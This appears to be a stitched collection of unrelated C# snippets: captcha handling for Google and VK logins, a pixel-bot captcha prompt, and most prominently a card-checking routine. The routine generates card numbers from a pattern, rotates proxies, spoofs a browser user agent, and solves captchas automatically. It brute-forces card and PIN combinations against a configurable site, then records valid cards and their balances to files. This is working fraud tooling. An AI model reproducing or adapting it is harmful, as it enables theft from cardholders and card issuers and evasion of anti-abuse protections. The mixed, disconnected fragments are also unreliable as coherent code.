public override void error(EngineEntity entity, Exception ex) { try { if (ex.GetType() == typeof(WebException)) { WebException exception = (WebException)ex; //exception.Response String html = WebClientUtils.getResponseHTML((HttpWebResponse)exception.Response); //得到image路径 String imagepath = String.Empty; foreach (String url in CommonUtils.getHTMLinkArray(entity.Url, html)) { if (url.IndexOf("/sorry/image") > -1) { imagepath = url; break; } } HttpWebResponse response = null; try { response = WebClientUtils.request(imagepath, 60000); captchaForm.tb_captcha.Text = String.Empty; captchaForm.pb_captcha.Image = Image.FromStream(response.GetResponseStream()); captchaForm.ShowDialog(); } finally { if (response != null) { response.Close(); } } String id = imagepath.Substring(imagepath.IndexOf("id=") + 3, imagepath.IndexOf("&") - imagepath.IndexOf("id=") - 3); WebClientUtils.request("http://www.google.com.hk/sorry/Captcha?id=" + id + "&captcha=" + Convert.ToString(captchaForm.Tag), 60000); } } catch { } }
private void authorizationToolStripMenuItem_Click(object sender, EventArgs e) { AuthorizationForm AuthForm = new AuthorizationForm(); AuthForm.ShowDialog(); if (AuthForm.ShowDialog() == DialogResult.OK) { Email = AuthForm.Email; Pass = AuthForm.Pass; } VkNet.Enums.Filters.Settings scope = VkNet.Enums.Filters.Settings.All; // Приложение имеет доступ к друзьям var vkApi = new VkApi(); var user = new ApiAuthParams() { ApplicationId = (ulong)appID, Login = Email, Password = Pass, Settings = scope }; try { vkApi.Authorize(user); tsStatusInfo.Text = "Connected"; InitializeMenu(true); } catch (CaptchaNeededException ex) { CaptchaForm captchForm = new CaptchaForm(ex.Img.AbsoluteUri); captchForm.Text = "Capthca error"; if (DialogResult.OK == captchForm.ShowDialog()) { user.CaptchaKey = captchForm.UserInfo.CaptchaKey; user.CaptchaSid = ex.Sid; vkApi.Authorize(user); tsStatusInfo.Text = "Подключено..."; //InitializeMenu(true); } } }
protected void ProcessCaptcha() { if (options.NotificationMode.HasFlag(CaptchaNotificationMode.Sound)) { captchaCts = new CancellationTokenSource(); new Thread(BeepThreadBody).Start(); } if (options.NotificationMode.HasFlag(CaptchaNotificationMode.Solver)) { logger.LogAndPause("Please go to captcha window and enter the solution", MessageGroup.Captcha); CaptchaForm.EnableVisualStyles(); using (CaptchaForm form = new CaptchaForm(proxySettings) { ShowInBackground = options.NotificationMode.HasFlag(CaptchaNotificationMode.ShowInBackground) }) { form.ShowDialog(); } } else { if (options.NotificationMode.HasFlag(CaptchaNotificationMode.Browser)) { Process.Start(UrlManager.BaseHttpAdress); } logger.LogAndPause("Please go to browser and place pixel, then return and press any key", MessageGroup.Captcha); while (Console.KeyAvailable) { Console.ReadKey(true); } Console.ReadKey(true); } logger.ResumeLogging(); captchaCts?.Cancel(); captchaCts?.Dispose(); captchaCts = null; }
public void Check() { while (IsWorked && Program.IsT) { try { string card = ""; if (Signature.Contains("*")) { foreach (var VARIABLE in Signature) { if (VARIABLE == '*') { card += r.Next(0, 10).ToString(); } else { card += VARIABLE; } } } else { for (int i = 0; i < Signature.Length; i++) { if (i > Signature.Length - _pSettings.LastSymReplace) { card += _pSettings.CardDictionary[r.Next(0, _pSettings.CardDictionary.Length)].ToString(); } else { card += Signature[i]; } } } if (cards.Contains(card)) { continue; } Debug("Card: " + card); try { using (HttpRequest rq = new HttpRequest()) { rq.KeepAlive = true; rq.IgnoreProtocolErrors = true; if (_pSettings.UseProxy.Contains("true")) { rq.Proxy = ProxyClient.Parse(pType, Proxy[r.Next(Proxy.Length)]); } rq.UserAgent = "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36 OPR/46.0.2597.32"; string ct = "application/x-www-form-urlencoded"; Debug("Headers: " + _pSettings.Headers.Count); foreach (var header in _pSettings.Headers) { try { Debug("Header: " + header.Key + ": " + header.Value); if (header.Key.Contains("content-type")) { ct = header.Value; } else if (header.Key.Contains("UserAgent")) { rq.UserAgent = header.Value; } else { rq.AddHeader(header.Key, header.Value); } } catch { } } if (_pSettings.ModuleType != "Token") { Debug("Type: Simple"); string s, cap = ""; if (_pSettings.Captcha.Contains("true")) { Debug("Captcha: true"); if (sc != null) { cap = sc.Upload(rq.Get(_pSettings.CaptchaUrl).ToBytes()).Text; } else { Console.WriteLine("Error: Captcha settings incorrect"); continue; } Debug("Captcha: " + cap); } Debug("pin: " + _pSettings.Pin); int pinLength = 1; if (_pSettings.Pin.Length > 2) { pinLength = int.Parse(_pSettings.Pin); } for (int i = 0; i < pinLength; i++) { string pin = GetPin(i); if (pinLength > 1) { Debug("pin: " + pin); } if (_pSettings.UrlMethod.ToLower() == "post") { Debug("Request: post"); s = rq.Post(_pSettings.Url.Replace("{card}", card).Replace("{pin}", pin), _pSettings.UrlData.Replace("{card}", card).Replace("{captcha}", cap).Replace("{pin}", pin), ct) .ToString(); Debug(s); } else { Debug("Request: get"); s = rq.Get(_pSettings.Url.Replace("{card}", card).Replace("{pin}", pin).Replace("{captcha}", cap)).ToString(); Debug(s); } if (GetBoolean(s, _pSettings.Bad)) { Debug($"Bad"); Bad++; continue; } if (GetBoolean(s, _pSettings.Good)) { Debug($"good"); if (_pSettings.ParseBalance != "") { Debug($"Balance parse: {_pSettings.ParseBalance}"); string[] pars = _pSettings.ParseBalance.Split('|'); string bal = s.Substring(pars[0], pars[1], 0); Debug($"Balance: {bal}"); lock (o) { cards += card; Good++; File.AppendAllText($"Result\\Good-{_pSettings.Name}.txt", $"[{card}] holds: ${bal}\r\n"); Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine($"{Good}) [{card}] holds: ${bal}"); } } else { lock (o) { cards += card; Good++; File.AppendAllText($"Result\\Good-{_pSettings.Name}.txt", $"[{card}]\r\n"); Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine($"{Good}) [{card}]"); } } Debug($"error"); break; } } } else { rq.Cookies = new CookieDictionary(); string s, cap = ""; Debug($"Type: Token"); if (_pSettings.UrlTokMethod.ToLower() == "post") { Debug($"Token post: {_pSettings.UrlTok}"); s = rq.Post(_pSettings.UrlTok, _pSettings.UrlTokData, ct).ToString(); Debug($"{s}"); } else { Debug($"Token get: {_pSettings.UrlTok}"); s = rq.Get(_pSettings.UrlTok).ToString(); Debug($"{s}"); } string data = _pSettings.UrlData; Debug($"data: {data}"); string capUrl = _pSettings.CaptchaUrl; foreach (var tok in _pSettings.Tokens) { Debug($"Tok: {tok.Key}: {tok.Value}"); string t = ""; if (tok.Key.Contains("Cookie")) { rq.Cookies.TryGetValue(tok.Key, out t); } else { string[] lf = tok.Value.Split('|'); t = s.Substring(lf[0], lf[1]); Debug($"Tok: {t}"); } if (!string.IsNullOrEmpty(t)) { capUrl = _pSettings.UrlData.Replace("{" + tok.Key + "}", t); data = _pSettings.UrlData.Replace("{" + tok.Key + "}", t); //Tokens.Add(tok.Key, t); } else { Console.WriteLine("Error: Token not found > Error"); } } Debug($"data: {data}"); if (_pSettings.Captcha.Contains("true")) { Debug($"Captcha: true"); if (sc != null) { cap = sc.Upload(rq.Get(capUrl).ToBytes()).Text; } else { lock (o) { CaptchaForm cf = new CaptchaForm(new MemoryStream(rq.Get(_pSettings.CaptchaUrl).ToBytes())); cf.ShowDialog(); cap = cf.textBox1.Text; } } Debug($"Captcha: {cap}"); } rq.Referer = _pSettings.UrlTok; int pinLength = 1; if (_pSettings.Pin.Length > 2) { pinLength = int.Parse(_pSettings.Pin); } for (int i = 0; i < pinLength; i++) { if (pinLength > 1) { Debug($"Pin: {_pSettings.Pin}"); } string pin = GetPin(i); if (pinLength > 1) { Debug($"Pin: {pin}"); } if (_pSettings.UrlMethod.ToLower() == "post") { Debug($"Request post: {_pSettings.Url.Replace("{card}", card).Replace("{pin}", pin)}"); s = rq.Post(_pSettings.Url.Replace("{card}", card).Replace("{pin}", pin), data.Replace("{card}", card).Replace("{pin}", pin).Replace("{captcha}", cap), ct) .ToString(); Debug(s); } else { Debug($"Request get: {_pSettings.Url.Replace("{card}", card).Replace("{pin}", pin).Replace("{captcha}", cap)}"); s = rq.Get(_pSettings.Url.Replace("{card}", card).Replace("{pin}", pin).Replace("{captcha}", cap)).ToString(); Debug(s); } if (GetBoolean(s, _pSettings.Bad)) { Debug($"Bad"); Bad++; continue; } if (GetBoolean(s, _pSettings.Good)) { Debug($"Good"); if (_pSettings.ParseBalance != "") { Debug($"ParseBalance: {_pSettings.ParseBalance}"); string[] pars = _pSettings.ParseBalance.Split('|'); string bal = s.Substring(pars[0], pars[1], 0); Debug($"Balance: {bal}"); lock (o) { cards += card; Good++; File.AppendAllText($"Result\\Good-{_pSettings.Name}.txt", $"[{card}] holds: ${bal}\r\n"); Console.WriteLine($"{Good}) [{card}] holds: ${bal}"); } Console.ForegroundColor = ConsoleColor.Green; } else { Debug($"Bad"); lock (o) { cards += card; Good++; File.AppendAllText($"Result\\Good-{_pSettings.Name}.txt", $"[{card}]\r\n"); Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine($"{Good}) [{card}]"); } } Debug($"error"); break; } } } } } catch (System.Exception ee) { Console.WriteLine("Error 245: " + ee.Message); } } catch { } } }